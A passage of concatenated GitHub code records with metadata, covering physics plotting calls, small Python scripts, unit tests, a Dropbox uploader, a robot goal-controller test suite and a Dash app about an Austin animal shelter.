35.9, hname_SI = 'hMMSR_normalizedChi2_log', hname_bkg = 'hMMBCR_normalizedChi2_log', ylog = True, treeDATA = treeDATA_Mu2016, inputdir = chi2_mm, treeSI = treeSI_2016, lines = [20.], line_ymax = 1e4, xlabel = '', outtag = '2016', ymax = 1e8, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = True, outpath = www) \n makeBlindedPlot(lumi = 35.9, hname_SI = 'hMMSR_trackIxy', hname_bkg = 'hMMBCR_trackIxy', ylog = True, treeDATA = treeDATA_Mu2016, inputdir = pt_mm, treeSI = treeSI_2016, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2016', ymax = 1e11, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = False, outpath = www) \n makeBlindedPlot(lumi = 35.9, hname_SI = 'hMMSR_dR', hname_bkg = 'hMMBCR_dR', ylog = True, treeDATA = treeDATA_Mu2016, inputdir = pt_mm, treeSI = treeSI_2016, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2016', ymax = 1e11, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = False, outpath = www) \n\n\n #### -> 2017 plots\n if True:\n makeBlindedPlot(lumi = 41.5, hname_SI = 'hEESR_mass', hname_bkg = 'hEEBCR_mass', ylog = True, treeDATA = treeDATA_EG2017, inputdir = nomass_ee, treeSI = treeSI_2017, lines = [100.], line_ymax = 1e6, xlabel = '', outtag = '2017', ymax = 1e10, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = False, outpath = www) \n makeBlindedPlot(lumi = 41.5, hname_SI = 'hEESR_leadingEt', hname_bkg = 'hEEBCR_leadingEt', ylog = True, treeDATA = treeDATA_EG2017, inputdir = pt_ee, treeSI = treeSI_2017, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2017', ymax = 1e10, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = False, outpath = www, drawZero = False) \n makeBlindedPlot(lumi = 41.5, hname_SI = 'hEESR_subleadingEt', hname_bkg = 'hEEBCR_subleadingEt', ylog = True, treeDATA = treeDATA_EG2017, inputdir = pt_ee, treeSI = treeSI_2017, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2017', ymax = 1e10, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = False, outpath = www, drawZero = False) \n makeBlindedPlot(lumi = 41.5, hname_SI = 'hEESR_normalizedChi2_log', hname_bkg = 'hEEBCR_normalizedChi2_log', ylog = True, treeDATA = treeDATA_EG2017, inputdir = chi2_ee, treeSI = treeSI_2017, lines = [20.], line_ymax = 1e4, xlabel = '', outtag = '2017', ymax = 1e8, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = True, outpath = www) \n makeBlindedPlot(lumi = 41.5, hname_SI = 'hEESR_trackIxy', hname_bkg = 'hEEBCR_trackIxy', ylog = True, treeDATA = treeDATA_EG2017, inputdir = pt_ee, treeSI = treeSI_2017, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2017', ymax = 1e10, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = False, outpath = www) \n\n #### -> 2018 plots\n if True:\n makeBlindedPlot(lumi = 54.5, hname_SI = 'hEESR_mass', hname_bkg = 'hEEBCR_mass', ylog = True, treeDATA = treeDATA_EG2018, inputdir = nomass_ee, treeSI = treeSI_2018, lines = [15.], line_ymax = 1e6, xlabel = '', outtag = '2018', ymax = 1e10, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = False, outpath = www) \n makeBlindedPlot(lumi = 54.5, hname_SI = 'hEESR_leadingEt', hname_bkg = 'hEEBCR_leadingEt', ylog = True, treeDATA = treeDATA_EG2018, inputdir = pt_ee, treeSI = treeSI_2018, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2018', ymax = 1e10, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = False, outpath = www, drawZero = False) \n makeBlindedPlot(lumi = 54.5, hname_SI = 'hEESR_subleadingEt', hname_bkg = 'hEEBCR_subleadingEt', ylog = True, treeDATA = treeDATA_EG2018, inputdir = pt_ee, treeSI = treeSI_2018, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2018', ymax = 1e10, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = False, outpath = www, drawZero = False) \n makeBlindedPlot(lumi = 54.5, hname_SI = 'hEESR_normalizedChi2_log', hname_bkg = 'hEEBCR_normalizedChi2_log', ylog = True, treeDATA = treeDATA_EG2018, inputdir = chi2_ee, treeSI = treeSI_2018, lines = [20.], line_ymax = 1e4, xlabel = '', outtag = '2018', ymax = 1e8, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = True, outpath = www) \n makeBlindedPlot(lumi = 54.5, hname_SI = 'hEESR_trackIxy', hname_bkg = 'hEEBCR_trackIxy', ylog = True, treeDATA = treeDATA_EG2018, inputdir = pt_ee, treeSI = treeSI_2018, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2018', ymax = 1e10, LLlabel = 'EE', DATAlabel = '', extralabel = '', xlog = False, outpath = www) \n\n\n makeBlindedPlot(lumi = 59.8, hname_SI = 'hMMSR_mass', hname_bkg = 'hMMBCR_mass', ylog = True, treeDATA = treeDATA_Mu2018, inputdir = nomass_mm, treeSI = treeSI_2018, lines = [15.], line_ymax = 1e6, xlabel = '', outtag = '2018', ymax = 1e11, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = False, outpath = www) \n makeBlindedPlot(lumi = 59.8, hname_SI = 'hMMSR_cosAlpha', hname_bkg = 'hMMBCR_cosAlpha', ylog = True, treeDATA = treeDATA_Mu2018, inputdir = nocosAlpha_mm, treeSI = treeSI_2018, lines = [-0.9], line_ymax = 1e6, xlabel = '', outtag = '2018', ymax = 1e11, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = False, outpath = www, drawZero = False) \n makeBlindedPlot(lumi = 59.8, hname_SI = 'hMMSR_leadingPt', hname_bkg = 'hMMBCR_leadingPt', ylog = True, treeDATA = treeDATA_Mu2018, inputdir = pt_mm, treeSI = treeSI_2018, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2018', ymax = 1e11, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = False, outpath = www, drawZero = False) \n makeBlindedPlot(lumi = 59.8, hname_SI = 'hMMSR_subleadingPt', hname_bkg = 'hMMBCR_subleadingPt', ylog = True, treeDATA = treeDATA_Mu2018, inputdir = pt_mm, treeSI = treeSI_2018, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2018', ymax = 1e11, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = False, outpath = www, drawZero = False) \n makeBlindedPlot(lumi = 59.8, hname_SI = 'hMMSR_normalizedChi2_log', hname_bkg = 'hMMBCR_normalizedChi2_log', ylog = True, treeDATA = treeDATA_Mu2018, inputdir = chi2_mm, treeSI = treeSI_2018, lines = [20.], line_ymax = 1e4, xlabel = '', outtag = '2018', ymax = 1e8, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = True, outpath = www) \n makeBlindedPlot(lumi = 59.8, hname_SI = 'hMMSR_dR', hname_bkg = 'hMMBCR_dR', ylog = True, treeDATA = treeDATA_Mu2018, inputdir = pt_mm, treeSI = treeSI_2018, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2018', ymax = 1e11, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = False, outpath = www) \n makeBlindedPlot(lumi = 59.8, hname_SI = 'hMMSR_trackIxy', hname_bkg = 'hMMBCR_trackIxy', ylog = True, treeDATA = treeDATA_Mu2018, inputdir = pt_mm, treeSI = treeSI_2018, lines = [], line_ymax = 1e6, xlabel = '', outtag = '2018', ymax = 1e11, LLlabel = 'MM', DATAlabel = '', extralabel = '', xlog = False, outpath = www) \n\n\n\n","repo_name":"longlivedpeople/Galapago-Framework","sub_path":"harvesting_fullBlindedPlot_Variables_Spring23.py","file_name":"harvesting_fullBlindedPlot_Variables_Spring23.py","file_ext":"py","file_size_in_byte":20808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"17661791327","text":"import csv\r\nimport matplotlib.pyplot as plt\r\n\r\nwith open('logs_0408.csv', newline='') as csvfile:\r\n measurements = list(csv.reader(csvfile, delimiter=','))\r\n\r\ntimes = [7]\r\n#for m in measurements:\r\n #times.append(int(m[1]))\r\n\r\nfor m in range(1, len(measurements)):\r\n if int(measurements[m][1]) > int(measurements[m-1][1]):\r\n times.append(times[-1] + (int(measurements[m][1]) - int(measurements[m-1][1])))\r\n else:\r\n times.append(times[-1] + int(measurements[m][1]))\r\n\r\nfrequency = []\r\nfor_graph = []\r\nfor array_index in range(7, times[-1]):\r\n for_graph.append(array_index)\r\n try:\r\n times.index(array_index)\r\n frequency.append(1)\r\n except:\r\n frequency.append(0)\r\n continue\r\n\r\nplt.plot(for_graph[0: 400], frequency[0: 400])\r\nplt.ylabel('1: Received / 0: not-received data')\r\nplt.xlabel('Time (in seconds)')\r\nplt.show()\r\n","repo_name":"moakprojects/SDU_iot_handin3","sub_path":"src/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"17132205585","text":"from unittest import TestCase\n\nfrom src.parsers.parser import Parser\n\n\nclass TestParser(TestCase):\n\n def setUp(self):\n self.text = (\"pokemon,beer, humans,dog+breeds,cocktails\\n\"\n \"car+brands,names,uniforms,sector\")\n\n def test_parsed_items(self):\n parser = Parser(self.text)\n\n expected_result = [\"pokemon\", \"beer\", \"humans\", \"dog+breeds\",\n \"cocktails\", \"car+brands\", \"names\", \"uniforms\", \"sector\"]\n\n actual_result = parser.parsed_items()\n\n self.assertEquals(expected_result, actual_result)\n","repo_name":"ryhazerus/python-api-scraper","sub_path":"tests/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"14593711772","text":"import dissim\nimport numpy as np\ndef multinodal(x):\n return (np.sin(0.05*np.pi*x)**6)/2**(2*((x-10)/80)**2)\n\ndef func1(x0):\n x1,x2 = x0[0],x0[1]\n return -(multinodal(x1)+multinodal(x2))+np.random.normal(0,0.3)\n\ninit = [0,0]\ndom = [[0,100],[0,100]]\nfunc1AHA = dissim.AHA(func1,dom)\na = func1AHA.AHAalgolocal(100,50,dom,init)\n# print(b,c)\nprint(a[-1])\nprint(func1(a[-1]))","repo_name":"anishroy1802/dissim","sub_path":"codes/algorithms/Adaptive_Hyperbox_Algorithm/examples/e1.py","file_name":"e1.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"68"} +{"seq_id":"17006797846","text":"fruit_1 = ['дыня','арбуз','виноград','фейхоа','груша']\nfruit_2 = ['груша','слива','яблоки','арбуз','гранат']\nres_fruit = []\n# Классическое решение\nfor fru in fruit_1:\n if fru in fruit_2:\n res_fruit.append(fru)\nprint(res_fruit)\n# Через генератор списка\nres_fruit = [fruit for fruit in fruit_1 if fruit in fruit_2]\nprint(res_fruit)","repo_name":"GoldGromofon91/GeekBrains","sub_path":"3. Введение в Python/dz_01_lesson6/dz_n01.py","file_name":"dz_n01.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"17670896917","text":"import heapq\r\n\r\nN = int(input())\r\nr1, c1, r2, c2 = map(int, input().split(\" \"))\r\n\r\nd = [(-2, -1), (-2, 1), (0, -2), (0, +2), (2, -1), (2, 1)]\r\n\r\nq = [(0, r1, c1)]\r\nvisit = [[0 for i in range(N)] for _ in range(N)]\r\nvisit[r1][c1] = 1\r\nans = -1\r\nwhile q:\r\n popped = heapq.heappop(q)\r\n if popped[1] == r2 and popped[2] == c2:\r\n ans = popped[0]\r\n for i in range(6):\r\n now_r = popped[1] + d[i][0]\r\n now_c = popped[2] + d[i][1]\r\n\r\n if now_r < N and now_r >= 0 and now_c < N and now_c >= 0:\r\n if visit[now_r][now_c] > popped[0] + 1 or visit[now_r][now_c] == 0:\r\n visit[now_r][now_c] = popped[0] + 1\r\n heapq.heappush(q, (popped[0] + 1, now_r, now_c))\r\n\r\nprint(ans)\r\n","repo_name":"ehddn5252/Algorithm","sub_path":"백준/Silver/16948. 데스 나이트/데스 나이트.py","file_name":"데스 나이트.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"68"} +{"seq_id":"16037687626","text":"from django.core.management.base import BaseCommand, CommandError\nfrom thermo.models import Record\nfrom thermo.views import get_current_reading\nfrom datetime import datetime\nimport pytz\n\n\nclass Command(BaseCommand):\n help = 'Retrievs measurement data from the DHT22 sensor and saves it to the database.'\n\n def handle(self, *args, **options):\n reading = get_current_reading()\n\n utc = pytz.utc\n ts = datetime.utcnow()\n ts = utc.localize(ts).replace(second=0, microsecond=0)\n\n defaults = {\n 'indoor_temperature': reading['temperature'],\n 'indoor_humidity': reading['humidity'],\n }\n\n Record.objects.update_or_create(\n date=ts,\n defaults=defaults\n )\n","repo_name":"tprzybylek/RPi_thermometer","sub_path":"thermo/management/commands/get_measurement.py","file_name":"get_measurement.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"5605743945","text":"import argparse\nimport csv\nimport os\nimport multiprocessing as mp\n\n\nclass BaseExporter:\n def __call__(self, *args, **kwargs):\n self.gen_data(args[0], args[1])\n\n def gen_data(self, in_filename: str, out_filename: str):\n in_file = open(in_filename, 'r')\n out_file = open(out_filename, 'w', newline='')\n\n reader = csv.reader(in_file)\n writer = csv.writer(out_file)\n\n # save header\n header = next(reader)\n writer.writerow(header)\n\n # save data\n s = set()\n for row in reader:\n if row[0] not in s:\n writer.writerow(row)\n s.add(row[0])\n\n in_file.close()\n out_file.close()\n\n # 删掉空文件\n if len(s) == 0:\n os.remove(out_filename)\n\n\nclass RandomExporter(BaseExporter):\n pass\n\n\nclass BFSExporter(BaseExporter):\n pass\n\n\nclass OPICHaircutExporter(BaseExporter):\n pass\n\n\ndef process():\n parser = argparse.ArgumentParser()\n parser.description = 'Clean raw data'\n # parser.add_argument('-m', '--method', help='crawl method(Random, BFS or OPICHaircut)', dest='method', type=str,\n # default=None)\n parser.add_argument('-i', '--input', help='input raw data folder', dest='input', type=str, default=None)\n parser.add_argument('-o', '--output', help='output data folder', dest='output', type=str, default=None)\n parser.add_argument('-c', '--crawled', help='output crawled seeds', dest='crawled', type=bool, default=False)\n\n args = parser.parse_args()\n\n if args.input is None or args.output is None:\n print('lost arguments')\n return\n\n if not os.path.exists(args.input):\n print('input folder doesn\\'t existed ')\n return\n\n if not os.path.exists(args.output):\n os.mkdir(args.output)\n\n crawled_seeds = set()\n if args.crawled is True:\n with open('./data/crawled.csv', 'r') as f:\n for row in csv.reader(f):\n crawled_seeds.add(row[0])\n\n print('export using cpu core:', mp.cpu_count())\n pool = mp.Pool(mp.cpu_count())\n\n ept = BaseExporter()\n for filename in os.listdir(args.input):\n seed = filename.split('_')[1].split('.')[0]\n if args.crawled is True and seed not in crawled_seeds:\n continue\n\n print('processing file:%s' % filename)\n in_filename = args.input.rstrip('/|\\\\') + '/' + filename\n out_filename = args.output.rstrip('/|\\\\') + '/' + filename\n pool.apply_async(ept, (in_filename, out_filename))\n pool.close()\n pool.join()\n","repo_name":"wuzhy1ng/etherscan-spider","sub_path":"etherscan_spider/utils/data_export.py","file_name":"data_export.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"68"} +{"seq_id":"5488962849","text":"\"\"\" Dropbox uploader module \"\"\"\nfrom typing import Optional\n\nimport dropbox\nfrom dropbox.exceptions import ApiError, AuthError\n\n\nclass DropboxUploader:\n \"\"\"Dropbox uploader class\"\"\"\n\n def __init__(self, access_token):\n self.dbx = dropbox.Dropbox(access_token)\n self.path_to_upload = \"/destination\"\n\n def upload_file_to_dropbox(\n self, data_to_upload: bytes, target_path: str\n ) -> Optional[str]:\n \"\"\"upload file to dropbox\n Args:\n data_to_upload (bytes): data to upload to dropbox\n target_path (str): target path to upload\n Returns:\n Optional[str]: temporary link to download file\n \"\"\"\n try:\n target_path = f\"{self.path_to_upload}/{target_path}\"\n self.dbx.files_upload(data_to_upload, target_path)\n temporary_1_minute_link = self.dbx.files_get_temporary_link(target_path)\n if temporary_1_minute_link:\n return temporary_1_minute_link.link\n\n except AuthError as error:\n print(f\"Error authenticating Dropbox API: {error}\")\n except ApiError as error:\n print(f\"API error occurred while uploading file: {error}\")\n return None\n\n def list_files_in_dropbox_folder(self) -> Optional[list]:\n \"\"\"list files in dropbox folder\n Returns:\n Optional[list]: list of files in dropbox folder\n \"\"\"\n\n try:\n files = self.dbx.files_list_folder(self.path_to_upload)\n if files:\n return files.entries\n except AuthError as error:\n print(f\"Error authenticating Dropbox API: {error}\")\n except ApiError as error:\n print(f\"API error occurred while listing files in folder: {error}\")\n return []\n\n def remove_file_from_dropbox(self, file_path: str):\n \"\"\"remove file from dropbox\n\n Args:\n file_path (str): path to file to remove\n \"\"\"\n try:\n self.dbx.files_delete(file_path)\n except AuthError as error:\n print(f\"Error authenticating Dropbox API: {error}\")\n except ApiError as error:\n print(f\"API error occurred while removing file: {error}\")\n","repo_name":"anthonypernia/bot-downloader-videos-twitter","sub_path":"bot/dropbox_uploader.py","file_name":"dropbox_uploader.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"74273151897","text":"import pyclesperanto_prototype as cle\nimport numpy as np\n\ndef test_connected_components_labeling_diamond():\n \n gpu_input = cle.push(np.asarray([\n [\n [0, 1, 0, 1],\n [0, 1, 0, 0],\n [1, 0, 0, 1]\n ]\n ]))\n\n gpu_reference = cle.push(np.asarray([\n [\n [0, 2, 0, 3],\n [0, 2, 0, 0],\n [1, 0, 0, 4]\n ]\n ]))\n\n gpu_output = cle.connected_components_labeling_diamond(gpu_input)\n\n a = cle.pull(gpu_output)\n b = cle.pull(gpu_reference)\n\n print(b)\n print(a)\n\n assert (np.array_equal(a, b))","repo_name":"clEsperanto/pyclesperanto_prototype","sub_path":"tests/test_connected_components_labeling_diamond.py","file_name":"test_connected_components_labeling_diamond.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"68"} +{"seq_id":"3619738464","text":"from __future__ import division, print_function\nPKG='test_goal_controller'\n\nimport unittest\nfrom math import pi, sin, cos\nfrom diff_drive.goal_controller import GoalController\nfrom diff_drive.pose import Pose\n\n\nclass TestGoalController(unittest.TestCase):\n\n def setUp(self):\n self.controller = GoalController()\n\n # Test that the robot does not move when already at the goal\n # at the right heading.\n def testAtGoal(self):\n cur = Pose()\n desired = self.controller.getVelocity(cur, cur, 0.1)\n self.assertEquals(desired.xVel, 0)\n self.assertEquals(desired.thetaVel, 0)\n\n # Test that a goal pose ahead of the current position at the same\n # heading causes a straight-ahead move.\n def testStraightAhead(self):\n cur = Pose()\n goal = Pose()\n goal.x = 1\n desired = self.controller.getVelocity(cur, goal, 0.1)\n self.assertGreater(desired.xVel, 0)\n self.assertEquals(desired.thetaVel, 0)\n\n # Test that a goal pose behind the current position at the same\n # heading causes a straight-back move.\n def testStraightBack(self):\n cur = Pose()\n goal = Pose()\n goal.x = -1\n desired = self.controller.getVelocity(cur, goal, 0.1)\n self.assertLess(desired.xVel, 0)\n self.assertEquals(desired.thetaVel, 0)\n\n # Test that a goal at the current position with a leftward goal\n # heading causes a leftward rotation.\n def testRotateLeft(self):\n cur = Pose()\n goal = Pose()\n goal.theta = pi/2\n desired = self.controller.getVelocity(cur, goal, 0.1)\n self.assertEquals(desired.xVel, 0)\n self.assertGreater(desired.thetaVel, 0)\n\n # Test that a goal at the current position with a rightward goal\n # heading causes a rightward rotation.\n def testRotateRight(self):\n cur = Pose()\n goal = Pose()\n goal.theta = -pi/2\n desired = self.controller.getVelocity(cur, goal, 0.1)\n self.assertEquals(desired.xVel, 0)\n self.assertLess(desired.thetaVel, 0)\n\n # Test that a goal pose that is reachable with a forward, leftward\n # arc causes a forward movement with some leftward rotation.\n def testCurveLeft(self):\n cur = Pose()\n goal = Pose()\n goal.x = 1\n goal.y = 1\n goal.theta = pi/2\n desired = self.controller.getVelocity(cur, goal, 0.1)\n self.assertGreater(desired.xVel, 0)\n self.assertGreater(desired.thetaVel, 0)\n\n # Test that a goal pose that is reachable with a forward, rightward\n # arc causes a forward movement with some rightward rotation.\n def testCurveRight(self):\n cur = Pose()\n cur.theta = pi/2\n goal = Pose()\n goal.x = 1\n goal.y = 1\n desired = self.controller.getVelocity(cur, goal, 0.1)\n self.assertGreater(desired.xVel, 0)\n self.assertLess(desired.thetaVel, 0)\n\n # Test that a goal pose behind the robot that is reachable with a\n # leftward arc causes a backward movement with some rightward\n # rotation.\n def testCurveBackLeft(self):\n cur = Pose()\n goal = Pose()\n cur.x = 1\n cur.y = 1\n goal.theta = pi/2\n desired = self.controller.getVelocity(cur, goal, 0.1)\n self.assertLess(desired.xVel, 0)\n self.assertGreater(desired.thetaVel, 0)\n\n # Test that a goal pose behind the robot that is reachable with a\n # rightward arc causes a backward movement with some leftward\n # rotation.\n def testCurveBackRigth(self):\n cur = Pose()\n goal = Pose()\n cur.x = 1\n cur.y = 1\n cur.theta = pi/2\n desired = self.controller.getVelocity(cur, goal, 0.1)\n self.assertLess(desired.xVel, 0)\n self.assertLess(desired.thetaVel, 0)\n\n def testButtonHookLeft(self):\n cur = Pose()\n goal = Pose()\n goal.x = 1\n goal.y = 1\n goal.theta = pi\n desired = self.controller.getVelocity(cur, goal, 0.1)\n self.assertGreater(desired.xVel, 0)\n self.assertGreater(desired.thetaVel, 0)\n\n def testButtonHookRight(self):\n cur = Pose()\n goal = Pose()\n goal.x = 1\n goal.y = -1\n goal.theta = -pi\n desired = self.controller.getVelocity(cur, goal, 0.1)\n self.assertGreater(desired.xVel, 0)\n self.assertLess(desired.thetaVel, 0)\n\n def testGoToGoal(self):\n self.checkGoToGoal(0, 0, 0, 1, 0, 0) # Straight ahead\n self.checkGoToGoal(0, 0, 0, 1, 1, pi/2) # Arc left\n self.checkGoToGoal(0, 0, 0, 1, 1, -pi/2) # Left, then turn right\n self.checkGoToGoal(0, 0, 0, 0, 1, pi) # Go left\n self.checkGoToGoal(0, 0, 0, 1, 0, pi) # Go ahead and u-turn\n self.checkGoToGoal(0, 0, 0, -1, 0, 0) # Straight back\n self.checkGoToGoal(0, 0, 0, -1, -1, 0) # Back up to right\n self.checkGoToGoal(0, 0, 0, -1, -1, pi) # Back up and turn left\n\n def testGoToGoalForwardOnly(self):\n self.controller.setForwardMovementOnly(True)\n self.checkGoToGoal(0, 0, 0, 1, 0, 0) # Straight ahead\n self.checkGoToGoal(0, 0, 0, 1, 1, pi/2) # Arc left\n self.checkGoToGoal(0, 0, 0, 1, 1, -pi/2) # Left, then turn right\n self.checkGoToGoal(0, 0, 0, 0, 1, pi) # Go left\n self.checkGoToGoal(0, 0, 0, 1, 0, pi) # Go ahead and u-turn\n self.checkGoToGoal(0, 0, 0, -1, 0, 0) # Straight back\n self.checkGoToGoal(0, 0, 0, -1, -1, 0) # Back up to right\n self.checkGoToGoal(0, 0, 0, -1, -1, pi) # Back up and turn left\n\n def checkGoToGoal(self, x0, y0, th0, x1, y1, th1):\n dTol = 0.05 # 5cm\n thTol = 0.04 # Approx 2.5 degrees\n\n self.controller.setLinearTolerance(dTol)\n self.controller.setAngularTolerance(thTol)\n\n cur = Pose()\n cur.x = x0\n cur.y = y0\n cur.theta = th0\n\n goal = Pose()\n goal.x = x1\n goal.y = y1\n goal.theta = th1\n\n lastDistance = self.controller.getGoalDistance(cur, goal)\n dT = 0.05\n for i in range(1000):\n if self.controller.atGoal(cur, goal):\n return\n\n desired = self.controller.getVelocity(cur, goal, dT)\n newTheta = cur.theta + dT*desired.thetaVel\n midTheta = (cur.theta + newTheta) / 2.0\n cur.x += dT * desired.xVel * cos(midTheta)\n cur.y += dT * desired.xVel * sin(midTheta)\n cur.theta = newTheta\n\n # If we get here, we didn't reach the goal.\n self.assertFalse('Did not reach the goal: p0='\n + str((x0,y0,th0))\n + ' p1=' + str((x1,y1,th1)))\n \nif __name__ == '__main__':\n unittest.main()\n","repo_name":"merose/diff_drive","sub_path":"tests/test_goal_controller.py","file_name":"test_goal_controller.py","file_ext":"py","file_size_in_byte":6703,"program_lang":"python","lang":"en","doc_type":"code","stars":124,"dataset":"github-code","pt":"68"} +{"seq_id":"14936705528","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jul 11 11:55:51 2022\r\n\r\n@author: avery\r\n\"\"\"\r\n\r\nimport dash\r\n\r\ndash.register_page(__name__, path=\"/\")\r\n\r\nfrom dash import Dash, dcc, html, Input, Output, callback\r\nimport plotly.express as px\r\nimport pandas as pd\r\nimport dash_bootstrap_components as dbc\r\nimport pathlib\r\n\r\ndef get_pandas_data(csv_filename: str) -> pd.DataFrame:\r\n '''\r\n Load data from /data directory as a pandas DataFrame\r\n using relative paths. Relative paths are necessary for\r\n data loading to work in Heroku.\r\n '''\r\n PATH = pathlib.Path(__file__).parent\r\n DATA_PATH = PATH.joinpath(\"data\").resolve()\r\n return pd.read_csv(DATA_PATH.joinpath(csv_filename))\r\n\r\n\r\n\r\ndf = get_pandas_data(\"aac_intakes_outcomes.csv\")\r\ndf['intake_date'] = pd.to_datetime(df['intake_datetime']).dt.date\r\npets_per_day = round(len(df)/len(df['intake_date'].unique()),0)\r\n\r\ncard_icon = {\r\n \"color\": \"white\",\r\n \"textAlign\": \"center\",\r\n \"fontSize\": 30,\r\n \"margin\": \"auto\",\r\n}\r\n\r\n\r\ncard1 = dbc.CardGroup(\r\n [\r\n dbc.Card(\r\n dbc.CardBody(\r\n [\r\n html.H5(pets_per_day, className=\"card-title\"),\r\n html.P(\"Number of animals left at center daily\", className=\"card-text\",),\r\n ]\r\n )\r\n ),\r\n dbc.Card(\r\n html.Div(className=\"fa fa-cat\", style=card_icon),\r\n className=\"bg-info\",\r\n style={\"maxWidth\": 90},\r\n ),\r\n ],className=\"mt-4 shadow\",\r\n)\r\n\r\n\r\naverage_days_in_shelter = round(df['time_in_shelter_days'].mean(),1)\r\n\r\ncard2 = dbc.CardGroup(\r\n [\r\n dbc.Card(\r\n dbc.CardBody(\r\n [\r\n html.H5(average_days_in_shelter, className=\"card-title\"),\r\n html.P(\"Average # of days spent in shelter\", className=\"card-text\",),\r\n ]\r\n )\r\n ),\r\n dbc.Card(\r\n html.Div(className=\"fa fa-calendar-day\", style=card_icon),\r\n className=\"bg-info\",\r\n style={\"maxWidth\": 90},\r\n ),\r\n ],className=\"mt-4 shadow\",\r\n)\r\n\r\n\r\nadoption_rate = round(df['outcome_type'].value_counts()*100/len(df),0)['Adoption']\r\n\r\ncard3 = dbc.CardGroup(\r\n [\r\n dbc.Card(\r\n dbc.CardBody(\r\n [\r\n html.H5(str(adoption_rate) + \"%\", className=\"card-title\"),\r\n html.P(\"Adroption Rate\", className=\"card-text\",),\r\n ]\r\n )\r\n ),\r\n dbc.Card(\r\n html.Div(className=\"fa fa-heart\", style=card_icon),\r\n className=\"bg-info\",\r\n style={\"maxWidth\": 90},\r\n ),\r\n ],className=\"mt-4 shadow\",\r\n)\r\n\r\n\r\nanimal_type_pie = px.pie(df['animal_type'].value_counts().reset_index(), values='animal_type', names='index', title='Animals Received')\r\noutcomes = df['outcome_type'].value_counts().reset_index()\r\noutcome_bar = px.bar(df['outcome_type'].value_counts().reset_index().sort_values(by = 'outcome_type', ascending=True), x='outcome_type', y='index')\r\nage_histogram = px.scatter(df, x=\"age_upon_intake_(years)\", y=\"time_in_shelter_days\", color=\"animal_type\")\r\n\r\n\r\n\r\nlayout = html.Div(\r\n [\r\n html.H1(\"😸\" + \" Austin Animal Shelter App\" + \"🐶\"),\r\n html.P('''The Austin Animal Center in Austin, Texas is the largest no-kill animal shelter in the United States.\r\n Every year, they provide care and shelter for over 18,000 animals. Their goals is to place all adoptable animals in forever homes.\r\n ''',style={'textAlign': 'center'}),\r\n \r\n html.Div(dbc.Row([dbc.Col(card1),dbc.Col(card2),dbc.Col(card3)])),\r\n \r\n html.Div(dbc.Row([\r\n dbc.Col(dcc.Graph(id=\"pie-graph\", figure = animal_type_pie, style={'width': '40vh', 'height': '50vh'})),\r\n dbc.Col(dcc.Graph(id=\"bar-graph\", figure = outcome_bar,style={'width': '70vh', 'height': '50vh'})),\r\n dbc.Col(dcc.Graph(id=\"age-graph\", figure = age_histogram, style={'width': '70vh', 'height': '50vh'}))\r\n ])),\r\n \r\n html.A(\"If you'd like to donate to their cause, click here\",href=\"https://www.austintexas.gov/department/support-animal-center\", \r\n target =\"_blank\", style={'textAlign': 'center'}),\r\n \r\n html.Br(),\r\n \r\n html.Div(\r\n html.Img(src=\"https://npr.brightspotcdn.com/dims4/default/5376171/2147483647/strip/true/crop/800x420+0+67/resize/1200x630!/quality/90/?url=http%3A%2F%2Fnpr-brightspot.s3.amazonaws.com%2Flegacy%2Fsites%2Fkut%2Ffiles%2F1-IMG_1530.JPG\",\r\n style={'height': '15%','width': '25%'}\r\n ),\r\n ),\r\n \r\n \r\n html.P(\"Future Additions to Project: Add Favicon logo, give an estimators till adopted prediction model, make the axis/column names cleaner and more intuitive, add more pages\"),\r\n html.H2('Produly made with Dash from plotly'),\r\n html.Div(\r\n 